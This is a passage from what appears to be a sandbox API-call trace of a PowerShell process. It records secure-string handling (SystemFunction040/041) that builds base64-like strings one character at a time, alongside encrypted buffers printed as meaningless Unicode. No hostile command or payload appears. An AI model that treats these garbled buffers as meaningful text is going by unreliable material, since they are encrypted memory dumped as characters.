(param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺粇쮑ꯁ꩹ﳷ퉁ㆃㅂ⊻) returned 0x20 [0251.569] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.570] SysStringLen (param_1="EzdDiMUzTFxx/PJPXuOg405r4JP43HXK") returned 0x20 [0251.570] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.570] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺ﶇ棆萅੩璚\ᗙ哘") returned 0x20 [0251.570] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺ﶇ棆萅੩璚\ᗙ哘") returned 0x20 [0251.570] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺ﶇ棆萅੩璚\ᗙ哘") returned 0x20 [0251.570] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺ﶇ棆萅੩璚\ᗙ哘") returned 0x28 [0251.570] SystemFunction041 (in: Memory=0x3af49c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af49c) returned 0x0 [0251.570] SysStringLen (param_1="EzdDiMUzTFxx/PJPXuOg405r4JP43HXKy㷽ửᄅ下暪駣") returned 0x28 [0251.570] SystemFunction040 (in: Memory=0x3af49c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af49c) returned 0x0 [0251.574] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺ﶇ棆萅੩璚\ᗙ哘郮ⴕ쐩相讟穮谠廢") returned 0x28 [0251.574] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺ﶇ棆萅੩璚\ᗙ哘郮ⴕ쐩相讟穮谠廢") returned 0x28 [0251.574] SystemFunction041 (in: Memory=0x3af49c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af49c) returned 0x0 [0251.603] SysStringLen (param_1="EzdDiMUzTFxx/PJPXuOg405r4JP43HXKytửᄅ下暪駣") returned 0x28 [0251.603] SystemFunction040 (in: Memory=0x3af49c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af49c) returned 0x0 [0251.603] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺ﶇ棆萅੩璚\ᗙ哘貹❸앤￣ᦥﵡ䛚蚎") returned 0x28 [0251.603] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺ﶇ棆萅੩璚\ᗙ哘貹❸앤￣ᦥﵡ䛚蚎") returned 0x28 [0251.603] SystemFunction041 (in: Memory=0x3af49c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af49c) returned 0x0 [0251.603] SysStringLen (param_1="EzdDiMUzTFxx/PJPXuOg405r4JP43HXKytRᄅ下暪駣") returned 0x28 [0251.603] SystemFunction040 (in: Memory=0x3af49c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af49c) returned 0x0 [0251.603] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺ﶇ棆萅੩璚\ᗙ哘をꆒ匷➐秖ꕎ잣㞩") returned 0x28 [0251.603] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺ﶇ棆萅੩璚\ᗙ哘をꆒ匷➐秖ꕎ잣㞩") returned 0x28 [0251.603] SystemFunction041 (in: Memory=0x3af49c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af49c) returned 0x0 [0251.603] SysStringLen (param_1="EzdDiMUzTFxx/PJPXuOg405r4JP43HXKytRPᄅ下暪駣") returned 0x28 [0251.603] SystemFunction040 (in: Memory=0x3af49c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af49c) returned 0x0 [0251.604] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺ﶇ棆萅੩璚\ᗙ哘릩ᙎ賵꣍▰ᣌ") returned 0x28 [0251.604] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺ﶇ棆萅੩璚\ᗙ哘릩ᙎ賵꣍▰ᣌ") returned 0x28 [0251.604] SystemFunction041 (in: Memory=0x3af49c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af49c) returned 0x0 [0251.604] SysStringLen (param_1="EzdDiMUzTFxx/PJPXuOg405r4JP43HXKytRPY下暪駣") returned 0x28 [0251.604] SystemFunction040 (in: Memory=0x3af49c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af49c) returned 0x0 [0251.604] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺ﶇ棆萅੩璚\ᗙ哘䠶⽹὿਼Ệ뎮") returned 0x28 [0251.604] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺ﶇ棆萅੩璚\ᗙ哘䠶⽹὿਼Ệ뎮") returned 0x28 [0251.604] SystemFunction041 (in: Memory=0x3af49c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af49c) returned 0x0 [0251.604] SysStringLen (param_1="EzdDiMUzTFxx/PJPXuOg405r4JP43HXKytRPYr暪駣") returned 0x28 [0251.604] SystemFunction040 (in: Memory=0x3af49c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af49c) returned 0x0 [0251.604] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺ﶇ棆萅੩璚\ᗙ哘뭁徔삑酑鴛簔卅葔") returned 0x28 [0251.604] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺ﶇ棆萅੩璚\ᗙ哘뭁徔삑酑鴛簔卅葔") returned 0x28 [0251.604] SystemFunction041 (in: Memory=0x3af49c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af49c) returned 0x0 [0251.605] SysStringLen (param_1="EzdDiMUzTFxx/PJPXuOg405r4JP43HXKytRPYr0駣") returned 0x28 [0251.605] SystemFunction040 (in: Memory=0x3af49c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af49c) returned 0x0 [0251.605] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺ﶇ棆萅੩璚\ᗙ哘掊반钠䜳턡㥸峠") returned 0x28 [0251.605] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺ﶇ棆萅੩璚\ᗙ哘掊반钠䜳턡㥸峠") returned 0x28 [0251.605] SystemFunction041 (in: Memory=0x3af49c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af49c) returned 0x0 [0251.605] SysStringLen (param_1="EzdDiMUzTFxx/PJPXuOg405r4JP43HXKytRPYr0X") returned 0x28 [0251.605] SystemFunction040 (in: Memory=0x3af49c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af49c) returned 0x0 [0251.605] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺ﶇ棆萅੩璚\ᗙ哘葓虃\铟鮍嗬巹裤⊡) returned 0x28 [0251.606] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺ﶇ棆萅੩璚\ᗙ哘葓虃\铟鮍嗬巹裤⊡) returned 0x28 [0251.606] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺ﶇ棆萅੩璚\ᗙ哘葓虃\铟鮍嗬巹裤⊡) returned 0x28 [0251.607] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺ﶇ棆萅੩璚\ᗙ哘葓虃\铟鮍嗬巹裤⊡) returned 0x30 [0251.607] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0251.607] SysStringLen (param_1="EzdDiMUzTFxx/PJPXuOg405r4JP43HXKytRPYr0Xc뻖ꡒ㝚杴伪霮河") returned 0x30 [0251.607] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0251.607] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺ﶇ棆萅੩璚\ᗙ哘葓虃\铟鮍嗬巹裤媡緵娺䯆䜣꽎噐∛) returned 0x30 [0251.607] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺ﶇ棆萅੩璚\ᗙ哘葓虃\铟鮍嗬巹裤媡緵娺䯆䜣꽎噐∛) returned 0x30 [0251.607] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0251.607] SysStringLen (param_1="EzdDiMUzTFxx/PJPXuOg405r4JP43HXKytRPYr0Xcrꡒ㝚杴伪霮河") returned 0x30 [0251.607] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0251.607] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺ﶇ棆萅੩璚\ᗙ哘葓虃\铟鮍嗬巹裤뮡쫠\Ǚ㻨汏曢") returned 0x30 [0251.607] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺ﶇ棆萅੩璚\ᗙ哘葓虃\铟鮍嗬巹裤뮡쫠\Ǚ㻨汏曢") returned 0x30 [0251.607] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0251.608] SysStringLen (param_1="EzdDiMUzTFxx/PJPXuOg405r4JP43HXKytRPYr0Xcr8㝚杴伪霮河") returned 0x30 [0251.608] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0251.608] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺ﶇ棆萅੩璚\ᗙ哘葓虃\铟鮍嗬巹裤鞡ݘ䦆丫Ȫ樢귦⋡) returned 0x30 [0251.608] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺ﶇ棆萅੩璚\ᗙ哘葓虃\铟鮍嗬巹裤鞡ݘ䦆丫Ȫ樢귦⋡) returned 0x30 [0251.608] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0251.608] SysStringLen (param_1="EzdDiMUzTFxx/PJPXuOg405r4JP43HXKytRPYr0Xcr8=杴伪霮河") returned 0x30 [0251.608] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0251.608] EtwEventActivityIdControl () returned 0x0 [0251.609] EtwEventActivityIdControl () returned 0x0 [0251.609] EtwEventActivityIdControl () returned 0x0 [0251.610] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0251.611] EtwEventActivityIdControl () returned 0x0 [0251.611] EtwEventActivityIdControl () returned 0x0 [0251.611] EtwEventActivityIdControl () returned 0x0 [0251.612] SysStringLen (param_1="") returned 0x8 [0251.612] SysStringLen (param_1="N") returned 0x8 [0251.612] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.612] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0251.612] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0251.612] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.612] SysStringLen (param_1="ND") returned 0x8 [0251.612] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.613] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0251.613] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0251.613] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.613] SysStringLen (param_1="NDZ") returned 0x8 [0251.613] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.613] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0251.613] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0251.613] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.613] SysStringLen (param_1="NDZl") returned 0x8 [0251.613] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.613] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0251.613] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0251.613] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.614] SysStringLen (param_1="NDZlO") returned 0x8 [0251.614] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.614] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0251.614] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0251.614] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.614] SysStringLen (param_1="NDZlOD") returned 0x8 [0251.614] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.614] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0251.614] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0251.614] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.614] SysStringLen (param_1="NDZlODR") returned 0x8 [0251.614] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.615] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0251.615] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0251.615] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.615] SysStringLen (param_1="NDZlODRm") returned 0x8 [0251.615] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.615] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0251.615] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0251.615] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0251.616] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0251.616] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.616] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0251.616] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.616] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0251.616] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0251.616] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.616] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0251.617] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.617] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0251.617] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0251.617] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.617] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0251.617] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.617] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0251.617] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0251.617] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.617] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0251.617] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.682] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0251.682] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0251.682] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.682] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0251.682] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.682] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0251.682] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0251.682] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.683] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0251.683] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.683] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0251.683] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0251.683] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.683] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0251.683] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.683] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0251.683] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0251.683] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.684] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0251.684] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.684] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0251.684] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0251.684] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0251.685] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0251.685] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.685] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0251.685] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.686] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0251.686] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0251.686] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.686] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0251.686] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.686] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0251.686] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0251.686] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.686] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0251.686] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.686] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0251.687] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0251.687] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.687] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0251.687] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.687] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0251.687] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0251.687] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.687] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0251.687] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.687] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0251.688] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0251.688] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.688] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0251.688] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.688] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0251.688] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0251.688] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.688] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0251.688] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.688] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0251.689] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0251.689] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.689] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0251.689] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.689] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0251.689] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0251.689] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0251.690] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0251.690] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.690] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0251.690] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.690] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0251.691] SysStringLen 